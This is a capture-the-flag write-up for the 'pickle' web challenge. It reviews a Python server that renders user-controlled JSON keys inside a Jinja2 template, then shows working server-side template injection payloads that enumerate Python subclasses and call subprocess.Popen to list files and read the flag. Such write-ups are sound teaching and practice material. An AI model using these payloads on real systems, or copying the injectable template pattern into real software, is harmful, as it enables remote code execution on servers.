Tags: web
Rating:
## Challenge description
My cousin said he once got fired for putting his p*ckle into the pickle slicer at his old workplace. Can you confirm that it's true for me?
## Functionality
After opening the challenge url we see two forms.

After entering some JSON text on the first one we can see that the app responds back with an ID.

We can then enter this ID on the second form and we get back a python byte string and some ascii love from the challenge creator ?.

## Code review
Folder structure:
```
├── docker-compose.yml
└── hosted
├── app.py
├── Dockerfile
├── .gitignore
├── requirements.txt
└── templates
└── index.html
```
The file that is of most value to us is `app.py` which contains all of the logic of the challenge.
It contains the class `PickleFactoryHandler`, which is responsible for handling GET and POST requests by inheriting from the `http.server` python module
There are also two functions, `render_template_string_sanitized` which is an input blacklist and `generate_random_hexstring` which generates the ID's we saw above.
```py
import random
import json
import pickle
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, unquote_plus
from jinja2 import Environment
pickles = {}
env = Environment()
class PickleFactoryHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
if parsed.path == "/":
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
with open("templates/index.html", "r") as f:
self.wfile.write(f.read().encode())
return
elif parsed.path == "/view-pickle":
params = parsed.query.split("&")
params = [p.split("=") for p in params]
uid = None
filler = "##"
space = "__"
for p in params:
if p[0] == "uid":
uid = p[1]
elif p[0] == "filler":
filler = p[1]
elif p[0] == "space":
space = p[1]
if uid == None:
self.send_response(400)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write("No uid specified".encode())
return
if uid not in pickles:
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(
"No pickle found with uid {}".format(uid).encode())
return
large_template = """
<html>
<head>
<title> Your Pickle </title>
<style>
html * {
font-size: 12px;
line-height: 1.625;
font-family: Consolas; }
</style>
</head>
<body>
""" + str(pickles[uid]) + """
<h2> Sample good: </h2>
{% if True %}
{% endif %}
{{space*59}}
{% if True %}
{% endif %}
{{space*6+filler*5+space*48}}
{% if True %}
{% endif %}
{{space*4+filler*15+space*27+filler*8+space*5}}
{% if True %}
{% endif %}
{{space*3+filler*20+space*11+filler*21+space*4}}
{% if True %}
{% endif %}
{{space*3+filler*53+space*3}}
{% if True %}
{% endif %}
{{space*3+filler*54+space*2}}
{% if True %}
{% endif %}
{{space*2+filler*55+space*2}}
{% if True %}
{% endif %}
{{space*2+filler*56+space*1}}
{% if True %}
{% endif %}
{{space*3+filler*55+space*1}}
{% if True %}
{% endif %}
{{space*3+filler*55+space*1}}
{% if True %}
{% endif %}
{{space*4+filler*53+space*2}}
{% if True %}
{% endif %}
{{space*4+filler*53+space*2}}
{% if True %}
{% endif %}
{{space*5+filler*51+space*3}}
{% if True %}
{% endif %}
{{space*7+filler*48+space*4}}
{% if True %}
{% endif %}
{{space*9+filler*44+space*6}}
{% if True %}
{% endif %}
{{space*13+filler*38+space*8}}
{% if True %}
{% endif %}
{{space*16+filler*32+space*11}}
{% if True %}
{% endif %}
{{space*20+filler*24+space*15}}
{% if True %}
{% endif %}
{{space*30+filler*5+space*24}}
{% if True %}
{% endif %}
{{space*59}}
{% if True %}
{% endif %}
</body>
</html>
"""
try:
res = env.from_string(large_template).render(
filler=filler, space=space)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(res.encode())
except Exception as e:
print(e)
self.send_response(500)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write("Error rendering template".encode())
return
else:
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write("Not found".encode())
return
def do_POST(self):
parsed = urlparse(self.path)
if parsed.path == "/create-pickle":
length = int(self.headers.get("content-length"))
body = self.rfile.read(length).decode()
try:
data = unquote_plus(body.split("=")[1]).strip()
data = json.loads(data)
pp = pickle.dumps(data)
uid = generate_random_hexstring(32)
pickles[uid] = pp
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(uid.encode())
return
except Exception as e:
print(e)
self.send_response(400)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write("Invalid JSON".encode())
return
else:
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write("Not found".encode())
return
def render_template_string_sanitized(env, template, **args):
# it works!
global_vars = ['self', 'config', 'request', 'session', 'g', 'app']
for var in global_vars:
template = "{% set " + var + " = None %}\n" + template
return env.from_string(template).render(**args)
def generate_random_hexstring(length):
return "".join(random.choice("0123456789abcdef") for _ in range(length))
if __name__ == "__main__":
PORT = 9229
with HTTPServer(("", PORT), PickleFactoryHandler) as httpd:
print(f"Listening on 0.0.0.0:{PORT}")
httpd.serve_forever()
```
## JSON => pickle => SSTI
After testing out some inputs i noticed that if we enter a JSON object it gets parsed and it's keys are not converted to hex, we can confirm this at lines `158`, `159` and by testing the classic {{7*7}} payload.
inputs:
```
{"reflectedValue":2}
{"{{7*7}}":2}
```


I tried testing out some common SSTI payloads but let's not forget, there is a blacklist implemented so we have to take in to account these restrictions.
I tried out this payload to see what classes we have available:
```
{"{% for c in ''.__class__.__base__.__subclasses__() %} {{ '\n' }} {{ c }} {{ '\n' }} {% endfor %}":2}
```
After seeing the output we can confirm that the `subproccess.Popen` class is available with index `340`, perfect! that's our RCE.

```
{"{{''.__class__.__base__.__subclasses__()[340]('ls',shell=True,stdout=-1).communicate()[0].strip()}}":2}
```

We can see that there's a file `flag.log`, ladies and gentlement, we got em!
```
{"{{''.__class__.__base__.__subclasses__()[340]('cat flag.log',shell=True,stdout=-1).communicate()[0].strip()}}":2}
```

Contributors: `jimman2003`